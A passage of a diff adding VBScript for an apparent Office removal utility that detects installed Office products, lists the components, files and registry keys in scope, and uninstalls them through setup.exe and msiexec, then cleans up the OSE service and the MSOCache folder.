+                                Case "007E", "008F", "008C", "24E1", "237A"
+                                    If NOT dictionaryKeepProd.Exists(sProductCode) Then dictionaryKeepProd.Add sProductCode, sConfigName
+                                    fC2rInstalled = True
+                                Case Else
+                                End Select
+                            End If
+                        End If 'Len 38
+                    Next 'sProductCode
+                    If NOT fCategorized Then
+                        If NOT dicCSingle.Exists(UCase(sConfigName)) Then dicCSingle.Add UCase(sConfigName), sConfigName
+                    End If 'fCategorized
+                End If 'RegReadValue "ProductCodes"
+            End If
+        Next 'ArpItem
+    End If 'RegEnumKey
+End Sub 'FindInstalledOProducts
+'=======================================================================================================
+
+'Check if there are Office products from previous versions on the computer
+Sub CheckForLegacyProducts
+    Const OLEGACY = "78E1-11D2-B60F-006097C998E7}.6000-11D3-8CFE-0050048383C9}.6000-11D3-8CFE-0150048383C9}.BDCA-11D1-B7AE-00C04FB92F3D}.6D54-11D4-BEE3-00C04F990354}"
+    Dim Product
+
+    'Set safe default
+    fLegacyProductFound = True
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            'Handle O09 - O11 Products
+            If InStr(OLEGACY, UCase(Right(Product, 28))) > 0 Then
+                'Found legacy Office product. Keep flag in default and exit
+                Exit Sub
+            End If
+            If UCase(Right(Product,PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product,4,2)
+                Case "12", "14"
+                    'Found legacy Office product. Keep flag in default and exit
+                    Exit Sub
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fLegacyProductFound = False
+
+End Sub 'CheckForLegacyProducts
+'=======================================================================================================
+
+'Create clean list of Products to remove.
+'Strip off bad & empty contents
+Sub ValidateRemoveSkuList
+    Dim Sku, Key, sProductCode, sProductCodeList
+    Dim arrRemoveSKUs
+
+    If fRemoveAll Then
+        'Remove all mode
+        For Each Key in dicInstalledSku.Keys
+            dicRemoveSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+    Else
+        'Remove individual products or preconfigured configurations mode
+
+        'Ensure to have a string with no unexpected contents
+        sSkuRemoveList = Replace(sSkuRemoveList,";",",")
+        sSkuRemoveList = Replace(sSkuRemoveList," ","")
+        sSkuRemoveList = Replace(sSkuRemoveList,Chr(34),"")
+        While InStr(sSkuRemoveList,",,")>0
+            sSkuRemoveList = Replace(sSkuRemoveList,",,",",")
+        Wend
+
+        'Prepare 'remove' and 'keep' dictionaries to determine what has to be removed
+
+        'Initial pre-fill of 'keep' dic
+        For Each Key in dicInstalledSku.Keys
+            dictionaryKeepSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+
+        'Determine contents of keep and remove dic
+        'Individual products
+        arrRemoveSKUs = Split(UCase(sSkuRemoveList),",")
+        For Each Sku in arrRemoveSKUs
+            If Sku = "OSE" Then fRemoveOse = True
+            If dictionaryKeepSku.Exists(Sku) Then
+                'A Sku to remove has been passed in
+                'remove the item from the keep dic
+                dictionaryKeepSku.Remove(Sku)
+                'Now add it to the remove dic
+                If NOT dicRemoveSku.Exists(Sku) Then dicRemoveSku.Add Sku,Sku
+            End If
+        Next 'Sku
+
+        'Client Suite Category
+        If fRemoveCSuites Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSuite.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSuites
+
+        'Client Single/Standalone Category
+        If fRemoveCSingle Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSingle.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSingle
+
+        'Server Category
+        If fRemoveSrv Then
+            For Each Key in dicInstalledSku.Keys
+                If dicSrv.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveSrv
+
+        If NOT dictionaryKeepSku.Count > 0 Then fRemoveAll = True
+
+    End If 'fRemoveAll
+
+    'Fill the KeepProd dic
+    For Each Sku in dictionaryKeepSku.Keys
+        If RegReadValue(HKLM, REG_ARP & OREGREF & Sku, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+            For Each sProductCode in Split(sProductCodeList, chr(34))
+                If Len(sProductCode) = 38 Then
+                    If NOT dictionaryKeepProd.Exists(sProductCode) Then
+                    	dictionaryKeepProd.Add sProductCode, Sku
+                    	' also add the UpgradeCode
+                    	If Not dictionaryKeepProd.Exists(GetUpgradeCode(sProductCode)) Then dictionaryKeepProd.Add GetUpgradeCode(sProductCode), Sku & "_UpgradeCode"
+                    End If
+                End If '38
+            Next 'sProductCode
+        End If
+    Next 'Sku
+
+    If fRemoveAll OR fRemoveOse Then CheckRemoveOSE
+    If fRemoveAll OR fRemoveOspp Then CheckRemoveOspp
+
+End Sub 'ValidateRemoveSkuList
+'=======================================================================================================
+
+'Check if OSE service can be scrubbed
+Sub CheckRemoveOSE
+    Const O11 = "6000-11D3-8CFE-0150048383C9}"
+    Dim Product
+
+    If fRemoveOse Then Exit Sub
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, 28)) = O11 Then
+                'Found Office 2003 Product. Set flag to not remove the OSE service
+                Exit Sub
+            End If
+            If UCase(Right(Product, PRODLEN))= OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "12","14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+	                    'Found another Office product. Set flag to keep the OSE service
+                        fRemoveOse = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOse = True
+End Sub 'CheckRemoveOSE
+'=======================================================================================================
+
+'Check if OSPP service can be scrubbed
+Sub CheckRemoveOSPP
+    Dim Product
+
+    If NOT CInt(OVERSIONMAJOR) > 12 Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    If fRemoveOspp Then Exit Sub
+
+    If fC2rInstalled Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+						'Found another Office product. Set flag to keep the OSPP service
+                        fRemoveOspp = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOspp = True
+End Sub 'CheckRemoveOSPP
+'=======================================================================================================
+
+'Cache .msi files for products that will be removed in case they are needed for later file detection
+Sub CacheMsiFiles
+    Dim Product
+    Dim sMsiFile
+
+    'Non critical routine for failures.
+    'Errors will be logged but must not fail the execution
+    On Error Resume Next
+    Log " Cache .msi files to temporary Scrub folder"
+    'Cache the files
+    For Each Product in oMsi.Products
+        'Ensure valid GUID length
+        If CheckDeleteEx(Product) Then
+            CheckError "CacheMsiFiles"
+            sMsiFile = oMsi.ProductInfo(Product,"LocalPackage") : CheckError "CacheMsiFiles"
+            LogOnly " - " & Product & ".msi"
+            If oFso.FileExists(sMsiFile) Then oFso.CopyFile sMsiFile,sScrubDir & "\" & Product & ".msi",True
+            CheckError "CacheMsiFiles"
+        End If 'InScope
+    Next 'Product
+
+    Err.Clear
+End Sub 'CacheMsiFiles
+'=======================================================================================================
+
+'Build a list of all files that will be deleted
+Sub ScanComponents
+    Const MSIINSTALLSTATE_LOCAL = 3
+
+    Dim FileList, RegList, ComponentID, CompClient, Record, qView, MsiDb, CompVerbose
+    Dim Processes, Process, Prop, prod
+    Dim sQuery, sSubKeyName, sPath, sFile, sMsiFile, sCompClient, sComponent, sCompReg
+    Dim fRemoveComponent, fAffectedComponent, fIsPermanent, fIsFile, fIsFolder
+    Dim i, iProgress, iCompCnt, iRemCnt
+    Dim dicFLError, oDic, oFolderDic, dicCompPath
+    Dim hDefKey
+
+    'Logfile
+    Set FileList = oFso.OpenTextFile(sScrubDir & "\FileList.txt",FOR_WRITING,True,True)
+    Set RegList = oFso.OpenTextFile(sScrubDir & "\RegList.txt",FOR_WRITING,True,True)
+    Set CompVerbose = oFso.OpenTextFile(sScrubDir & "\CompVerbose.txt",FOR_WRITING,True,True)
+
+    'FileListError dic
+    Set dicFLError = CreateObject("Scripting.Dictionary")
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    Set oFolderDic = CreateObject("Scripting.Dictionary")
+    Set dicCompPath = CreateObject("Scripting.Dictionary")
+
+    'Prevent that API errors fail script execution
+    On Error Resume Next
+
+    iCompCnt = oMsi.Components.Count
+    If NOT Err = 0 Then
+        'API failure
+        Log "Error during components detection. Cannot complete this task."
+        Err.Clear
+        Exit Sub
+    End If
+
+    'Ensure to not divide by zero
+    If iCompCnt = 0 Then iCompCnt = 1
+    LogOnly " Scanning " & iCompCnt & " components"
+    'Enum all Components
+    For Each ComponentID In oMsi.Components
+        CompVerbose.WriteLine vbCrLf & "Checking Component: " & ComponentID
+
+        'Progress bar
+        i = i + 1
+        If iProgress < (i / iCompCnt) * 100 Then
+            If fCScript Then wscript.stdout.write "." : LogStream.Write "."
+            iProgress = iProgress + 1
+            If iProgress = 35 OR iProgress = 70 Then Log ""
+        End If
+
+        'Check if all ComponentClients will be removed
+        sCompClient = ""
+        iRemCnt = 0
+        fIsPermanent = False
+        fRemoveComponent = False 'Flag to track if the component will be completely removed
+        fAffectedComponent = False 'Flag to track if some clients remain installed who have a none shared location
+        dicCompPath.RemoveAll
+        Err.Clear
+        For Each CompClient In oMsi.ComponentClients(ComponentID)
+            CompVerbose.Write " CompClient " & CompClient & "-> "
+            If Err = 0 Then
+                'Ensure valid guid length
+                If Len(CompClient) = 38 Then
+                    fRemoveComponent = InScope(CompClient)
+                    If fRemoveComponent OR (CompClient = "{{00000000-0000-0000-0000-000000000000}") Then
+                        sPath = ""
+                        sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                        sPath = Replace(sPath,"?",":")
+                        'Scan for msidbComponentAttributesPermanent flag
+                        If CompClient = "{{00000000-0000-0000-0000-000000000000}" Then
+                            fIsPermanent = True
+                            iRemCnt = iRemCnt + 1
+                        End If
+                        If fRemoveComponent Then fRemoveComponent = CheckDelete(CompClient)
+                        CompVerbose.Write "CheckDelete: " & fRemoveComponent & "; "
+                        If fRemoveComponent Then
+                            iRemCnt = iRemCnt + 1
+                            fAffectedComponent = True
+                            'Since the scope remains within one Office family the keypath for the component
+                            'is assumed to be identical
+                            If sCompClient = "" Then sCompClient = CompClient
+                        ' flag the CompClient entry for removal
+                            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKCR
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKLM
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                        Else
+                            If NOT dicCompPath.Exists(sPath) Then dicCompPath.Add sPath,CompClient
+                        End If
+                        CompVerbose.WriteLine "AffectedComponent: " & fAffectedComponent
+                        CompVerbose.WriteLine " CompClient now set to: " & sCompClient
+                    Else
+                        CompVerbose.Write "InScope: " & fRemoveComponent & "; "
+                    End If
+                Else
+                    CompVerbose.WriteLine "Error: Invalid metadata"
+                    If NOT dicFLError.Exists("Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient) Then _
+                        dicFLError.Add "Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient, ComponentID
+                End If '38
+            Else
+                CompVerbose.WriteLine "Error: " & Err.number & " " & Err.Description
+                Err.Clear
+            End If 'Err = 0
+        Next 'CompClient
+
+        'Determine if the component resources go away
+        sPath = ""
+        fRemoveComponent = fAffectedComponent AND (iRemCnt = oMsi.ComponentClients(ComponentID).Count)
+        CompVerbose.WriteLine " Component goes away: " & fRemoveComponent
+' This caused unintentional removals
+'        If NOT fRemoveComponent AND fAffectedComponent Then
+'            'Flag as removable if component has a unique keypath
+'            sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+'            sPath = Replace(sPath,"?",":")
+'            fRemoveComponent = NOT dicCompPath.Exists(sPath)
+'        End If
+        If fRemoveComponent Then
+            'Check msidbComponentAttributesPermanent flag
+            If fIsPermanent AND NOT fForce Then fRemoveComponent = False
+            CompVerbose.WriteLine " msidbComponentAttributesPermanent: " & NOT fRemoveComponent
+        End If
+
+        If fRemoveComponent Then
+            CompVerbose.WriteLine " RESULT: Component IN SCOPE for removal"
+            fIsFile = False : fIsFolder = False
+
+            'Component resources go away for this product
+            Err.Clear
+            'Add the component registration key to ensure removal
+            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKCR
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKLM
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            'Get the component path
+            If sPath = "" Then
+                sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+                sPath = Replace(sPath,"?",":")
+            End If
+            CompVerbose.WriteLine " Path: " & sPath
+            If Len(sPath) > 4 Then
+                If Left(sPath,1) = "0" Then
+                    'Registry keypath
+
+                    Select Case Left(sPath,2)
+                    Case "00"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCR
+                    Case "01"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCU
+                    Case "02","22"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKLM
+                    Case Else
+                        '
+                    End Select
+
+                    'Go for the safe way and just reset the default entry
+                    'compared to deleting the whole key
+                    If Right(sPath,1) = "\" Then sPath = sPath & "(Default)"
+
+                    If NOT dicDelRegKey.Exists(sPath) Then
+                        dicDelRegKey.Add sPath,hDefKey
+                        RegList.WriteLine HiveString(hDefKey)&"\"&sPath
+                    End If
+                Else
+
+                    'File or Folder
+                    If oFso.FileExists(sPath) OR oFso.FolderExists(sPath) Then
+                        If Right(sPath,1) = "\" Then
+                            fIsFolder = True
+                            CompVerbose.WriteLine " Folder check OK"
+                        Else
+                            fIsFile = True
+                            CompVerbose.WriteLine " File check OK"
+                        End If
+                        If fIsFile Then sPath = oFso.GetFile(sPath).ParentFolder
+                        If Not oFolderDic.Exists(sPath) Then
+                            oFolderDic.Add sPath,sPath
+                            FileList.WriteLine sPath & vbTab & "(FOLDER)"
+                        End If
+                        'Get the .msi file
+                        If oFso.FileExists(sScrubDir & "\" & sCompClient & ".msi") Then
+                            sMsiFile = sScrubDir & "\" & sCompClient & ".msi"
+                        Else
+                            sMsiFile = oMsi.ProductInfo(sCompClient,"LocalPackage")
+                        End If
+                        CompVerbose.WriteLine " Set msi file to : " & sMsiFile
+                        If Not Err = 0 Then
+                            CompVerbose.WriteLine " Error: Failed to obtain .msi file for product " & sCompClient
+                            If NOT dicFLError.Exists("Failed to obtain .msi file for product "&sCompClient) Then _
+                                dicFLError.Add "Failed to obtain .msi file for product "&sCompClient, ComponentID
+                            Err.Clear
+                        End If
+                        CompVerbose.Write " Open .msi file for reading returned: "
+                        Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+
+                        If Err = 0 Then
+                            CompVerbose.WriteLine " SUCCESS"
+                            'Get the component name from the 'Component' table
+                            sQuery = "SELECT `Component`,`ComponentId` FROM Component WHERE `ComponentId` = '" & ComponentID &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            If Not Record Is Nothing Then sComponent = Record.Stringdata(1)
+                            CompVerbose.WriteLine " Obtained ComponentId as: " & sComponent
+
+                            'Get filenames from the 'File' table
+                            sQuery = "SELECT `Component_`,`FileName` FROM File WHERE `Component_` = '" & sComponent &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            Do Until Record Is Nothing
+                                'Read the filename
+                                sFile = Record.StringData(2)
+                                If InStr(sFile,"|") > 0 Then sFile = Mid(sFile,InStr(sFile,"|")+1,Len(sFile))
+                                'sFile = sPath & "\" & sFile
+                                CompVerbose.WriteLine "  File: " & sPath& "\" & sFile
+                                If Not oDic.Exists(sPath & "\" & sFile) Then
+                                    'Exception handler
+                                    fAdd = True
+                                    Select Case UCase(sFile)
+                                    Case "FPERSON.DLL"
+                                        'Catch exception caused by changed .msi keypath authoring logic for smart tags
+                                        For Each prod in oMsi.Products
+                                            If NOT Checkdelete(prod) Then
+                                                If oMsi.FeatureState(prod, "MSTagPluginNamesFiles") = MSIINSTALLSTATE_LOCAL Then
+                                                    fAdd = False
+                                                    Exit For
+                                                End If
+                                            End If
+                                        Next 'prod
+                                    Case Else
+                                    End Select
+                                    If fAdd Then
+                                        CompVerbose.WriteLine "  Added as new file to dictionary"
+                                        oDic.Add sPath & "\" & sFile,sFile
+                                        FileList.WriteLine sFile & vbTab & sPath & "\" & sFile
+                                        If Len(sFile)>4 Then
+                                            sFile = LCase(sFile)
+                                            If Right(sFile,4) = ".exe" Then
+                                                If NOT dicApps.Exists(sFile) Then
+                                                    Select Case sFile
+                                                    Case "setup.exe","ose.exe","osppsvc.exe","explorer.exe"
+                                                    Case Else
+                                                        dicApps.Add sFile,LCase(sPath) & "\" & sFile
+                                                        CompVerbose.WriteLine "  Added to the list of processes that need to be closed."
+                                                    End Select
+                                                End If 'dicApps.Exists
+                                            End If '.exe
+                                        End If 'Len > 4
+                                    End If 'fAdd
+                                End If 'oDic.Exists
+                                Set Record = qView.Fetch()
+                            Loop
+                            Set Record = Nothing
+                            qView.Close
+                            Set qView = Nothing
+                        Else
+                            CompVerbose.WriteLine " Error: Could not read from .msi file"
+                            If NOT dicFLError.Exists("Error: Could not read from .msi file: "&sMsiFile) Then _
+                                dicFLError.Add "Error: Could not read from .msi file: "&sMsiFile, ComponentID
+                            Err.Clear
+                        End If 'Err = 0
+                    Else
+                        CompVerbose.WriteLine " Error: File check FAILED"
+                    End If 'FileExists(sPath)
+                End If
+            End If 'Len(sPath) > 4
+        Else
+            CompVerbose.WriteLine " RESULT: Component NOT in scope for removal"
+            If fAffectedComponent Then
+                'Add the path to the 'Keep' dictionary
+                Err.Clear
+                For Each CompClient In oMsi.ComponentClients(ComponentID)
+                    'Get the component path
+                    sPath = "" : sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                    sPath = Replace(sPath,"?",":")
+
+                    If Len(sPath) > 4 Then
+                        If Left(sPath,1) = "0" Then
+                            'Registry keypath
+
+                            Select Case Left(sPath,2)
+                            Case "00"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCR
+                            Case "01"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCU
+                            Case "02","22"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKLM
+                            Case Else
+                                '
+                            End Select
+                            If NOT dictionaryKeepReg.Exists(LCase(sPath)) Then
+                                dictionaryKeepReg.Add LCase(sPath),hDefKey
+                            End If
+                        Else
+                            'File keypath
+                            If oFso.FileExists(sPath) Then
+                                If NOT dictionaryKeepFolder.Exists(LCase(sPath)) Then dictionaryKeepFolder.Add LCase(sPath)
+                                sPath = LCase(oFso.GetFile(sPath).ParentFolder) & "\"
+                                If NOT dictionaryKeepFolder.Exists(sPath) Then AddKeepFolder sPath
+                            End If
+                            'Folder keypath
+                            If oFso.FolderExists(sPath) Then AddKeepFolder sPath
+                        End If 'Is Registry
+                    End If 'sPath > 4
+                Next 'CompClient
+            End If 'fAffectedComponent
+        End If 'fRemoveComponent
+        Err.Clear
+    Next 'ComponentID
+    On Error Goto 0
+
+    Log " Done" & vbCrLf
+    If dicFLError.Count > 0 Then LogOnly Join(dicFLError.Keys,vbCrLf)
+    If Not oFolderDic.Count = 0 Then arrDeleteFolders = oFolderDic.Keys Else Set arrDeleteFolders = Nothing
+    If Not oDic.Count = 0 Then arrDeleteFiles = oDic.Keys Else Set arrDeleteFiles = Nothing
+End Sub 'ScanComponents
+'=======================================================================================================
+
+
+'Try to remove the products by calling setup.exe
+Sub SetupExeRemoval
+    Dim OseService, Service, TextStream
+    Dim iSetupCnt, RetVal
+    Dim Sku, sConfigFile, sUninstallCmd, sCatalyst, sDll, sDisplayLevel, sNoCancel
+    iSetupCnt = 0
+    If Not dicRemoveSku.Count > 0 Then
+        Log " Nothing to remove for Setup.exe"
+        Exit Sub
+    End If
+
+    'Ensure that the OSE service is *installed, *not disabled, *running under System context.
+    'If validation fails exit out of this sub.
+    Set OseService = oWmiLocal.Execquery("Select * From Win32_Service Where Name like 'ose%'")
+    If OseService.Count = 0 Then Exit Sub
+    For Each Service in OseService
+        If (Service.StartMode = "Disabled") AND (Not Service.ChangeStartMode("Manual")=0) Then Exit Sub
+        If (Not Service.StartName = "LocalSystem") AND (Service.Change( , , , , , , "LocalSystem", "")) Then Exit Sub
+    Next 'Service
+
+    For Each Sku in dicRemoveSku.Keys
+
+        If Sku="CLICK2RUN" Then
+            'Already done
+        Else
+            'Create an "unattended" config.xml file for uninstall
+            If fQuiet Then sDisplayLevel = "None" Else sDisplayLevel="Basic"
+            If fNoCancel Then sNoCancel="Yes" Else sNoCancel="No"
+            Set TextStream = oFso.OpenTextFile(sScrubDir & "\config.xml",FOR_WRITING,True,True)
+            TextStream.Writeline "<Configuration Product=""" & Sku & """>"
+            TextStream.Writeline "<Display Level=""" & sDisplayLevel & """ CompletionNotice=""No"" SuppressModal=""Yes"" NoCancel=""" & sNoCancel & """ AcceptEula=""Yes"" />"
+            TextStream.Writeline "<Logging Type=""Verbose"" Path=""" & sLogDir & """ Template=""Microsoft Office " & Sku & " Setup(*).txt"" />"
+            TextStream.Writeline "<Setting Id=""MSIRESTARTMANAGERCONTROL"" Value=""Disable"" />"
+            TextStream.Writeline "<Setting Id=""SETUP_REBOOT"" Value=""Never"" />"
+            TextStream.Writeline "</Configuration>"
+            TextStream.Close
+            Set TextStream = Nothing
+
+            'Ensure path to setup.exe is valid to prevent errors
+            sDll = ""
+            If RegReadValue(HKLM,REG_ARP & OREGREF & Sku,"UninstallString",sCatalyst,"REG_SZ") Then
+                If InStr(LCase(sCatalyst),"/dll")>0 Then sDll = Right(sCatalyst,Len(sCatalyst)-InStr(LCase(sCatalyst),"/dll")+2)
+                If InStr(sCatalyst,"/")>0 Then sCatalyst = Left(sCatalyst,InStr(sCatalyst,"/")-1)
+                sCatalyst = Trim(Replace(sCatalyst,Chr(34),""))
+                If NOT oFso.FileExists(sCatalyst) Then
+                    sCatalyst = sCommonProgramFiles & "\" & OREF & "\Office Setup Controller\setup.exe"
+                    If NOT oFso.FileExists(sCatalyst) AND f64 Then
+                        sCatalyst = sCommonProgramFilesX86 & "" & OREF & "\Office Setup Controller\setup.exe"
+                    End If
+                End If
+                If oFso.FileExists(sCatalyst) Then
+                    sUninstallCmd = Chr(34) & sCatalyst & Chr(34) & " /uninstall " & Sku & " /config " & Chr(34) & sScrubDir & "\config.xml" & Chr(34) & sDll
+                    iSetupCnt = iSetupCnt + 1
+                    Log " - Calling Setup.exe to remove " & Sku '& vbCrLf & sUninstallCmd
+                    If Not fDetectOnly Then
+                        On Error Resume Next
+                        ' end other instances of setup
+                        EndCurrentInstalls
+                        ' call uninstall
+                        RetVal = oWShell.Run(sUninstallCmd,0,True) : CheckError "SetupExeRemoval"
+                        Log " - Setup.exe returned: " & SetupRetVal(Retval) & " (" & RetVal & ")" & vbCrLf
+                        fRebootRequired = fRebootRequired OR (RetVal = "3010")
+                        On Error Goto 0
+                    Else
+                        Log " -> Removal suppressed in preview mode."
+                    End If
+                Else
+                    Log " Error: Office setup.exe appears to be missing"
+                End If 'RetVal = 0) AND oFso.FileExists
+            End If 'RegReadValue
+        End If
+    Next 'Sku
+    If iSetupCnt = 0 Then Log " Nothing to remove for setup."
+End Sub 'SetupExeRemoval
+'=======================================================================================================
+
+'Invoke msiexec to remove individual .MSI packages
+Sub MsiexecRemoval
+
+    Dim Product
+    Dim i
+    Dim sCmd, sReturn, sMsiProp
+    Dim fRegWipe
+
+    fRegWipe = False
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        sMsiProp = " REBOOT=ReallySuppress NOLOCALCACHEROLLBACK=1"
+    Case "12"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "14"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "15"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case Else
+    End Select
+
+    'Clear up ARP first to avoid possible custom action dependencies
+    If fRegWipe Then RegWipeARP
+
+    'Check MSI registered products
+    'Office System does only support per machine installation so it's sufficient to use Installer.Products
+    i = 0
+    sMsiProp = " MSIRESTARTMANAGERCONTROL=Disable" & sMsiProp
+    For Each Product in oMsi.Products
+        If CheckDeleteEx(Product) Then
+            i = i + 1
+            Log " Calling msiexec.exe to remove " & Product
+            sCmd = "msiexec.exe /x" & Product & sMsiProp
+            If fQuiet AND NOT fBasic Then
+                sCmd = sCmd & " /q"
+            Else
+                sCmd = sCmd & " /qb-"
+            End If
+            sCmd = sCmd & " /l*v+ "&chr(34)&sLogDir&"\Uninstall_"&Product&".log"&chr(34)
+            If NOT fDetectOnly Then
+                ' end other instances of setup
+                EndCurrentInstalls
+
+                'Execute the uninstall
+                LogOnly " - Calling msiexec with '"&sCmd&"'"
+                sReturn = oWShell.Run(sCmd, 0, True)
+                Log " - msiexec returned: " & SetupRetVal(sReturn) & " (" & sReturn & ")" & vbCrLf
+                fRebootRequired = fRebootRequired OR (sReturn = "3010") OR (sReturn = "1618")
+            Else
+                Log "  -> Removal suppressed in preview mode."
+                LogOnly "  -> Command: "&sCmd
+            End If
+        End If 'InScope
+    Next 'Product
+    If i = 0 Then Log " Nothing to remove for msiexec"
+End Sub 'MsiexecRemoval
+'=======================================================================================================
+
+'Remove the OSE (Office Source Engine) service
+Sub RemoveOSE
+    On Error Resume Next
+    Log vbCrLf & "OSE CleanUp"
+    DeleteService "ose"
+    'Delete the folder
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\Source Engine"
+    'Delete the registration
+    RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\ose\"
+End Sub 'RemoveOSE
+'=======================================================================================================
+
+
+'File cleanup operations for the Local Installation Source (MSOCache)
+Sub WipeLIS
+    Const LISROOT = "MSOCache\All Users\"
+    Dim LogicalDisks, Disk, Folder, SubFolder, MseFolder, File, Files
+    Dim arrSubFolders
+    Dim sFolder
+    Dim fRemoveFolder
+
+    Log vbCrLf & "LIS CleanUp"
+    'Search all hard disks
+    Set LogicalDisks = oWmiLocal.ExecQuery("Select * From Win32_LogicalDisk WHERE DriveType=3")
+    For Each Disk in LogicalDisks
+        If oFso.FolderExists(Disk.DeviceID & "\" & LISROOT) Then
+            Set Folder = oFso.GetFolder(Disk.DeviceID & "\" & LISROOT)
+            For Each Subfolder in Folder.Subfolders
+                If Len(Subfolder) > 37 Then
+                    If fRemoveAll Then
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) OR _
+                            LCase(Right(Subfolder.Name,7)) = OVERSIONMAJOR &".data" Then DeleteFolder Subfolder.Path
+                    Else
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) AND _
+                            CheckDelete(UCase(Left(Subfolder.Name,38))) AND _
+                            UCase(Right(Subfolder,1))= UCase(Left(Disk.DeviceID,1))Then DeleteFolder Subfolder.Path
+                    End If
+                End If 'Len > 37
+            Next 'Subfolder
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                sFolder = Folder.Path
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If 'oFso.FolderExists
+    Next 'Disk
+
+    'MSECache
+    If EnumFolders(sProgramFiles,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            If UCase(Right(SubFolder,9))="\MSECACHE" Then
+                ReDim arrMseFolders(-1)
+                Set Folder = oFso.GetFolder(SubFolder)
+                GetMseFolderStructure Folder
+                For Each MseFolder in arrMseFolders
+                    If oFso.FolderExists(MseFolder) Then
+                        fRemoveFolder = False
+                        Set Folder = oFso.GetFolder(MseFolder)
+                        Set Files = Folder.Files
+                        For Each File in Files
+                            If (LCase(Right(File.Name,4))=".msi") Then
+                                If CheckDelete(ProductCode(File.Path)) Then
+                                    fRemoveFolder = True
+                                    Exit For
+                                End If 'CheckDelete
+                            End If
+                        Next 'File
+                        Set Files = Nothing
+                        Set Folder = Nothing
+                        If fRemoveFolder Then SmartDeleteFolder MseFolder
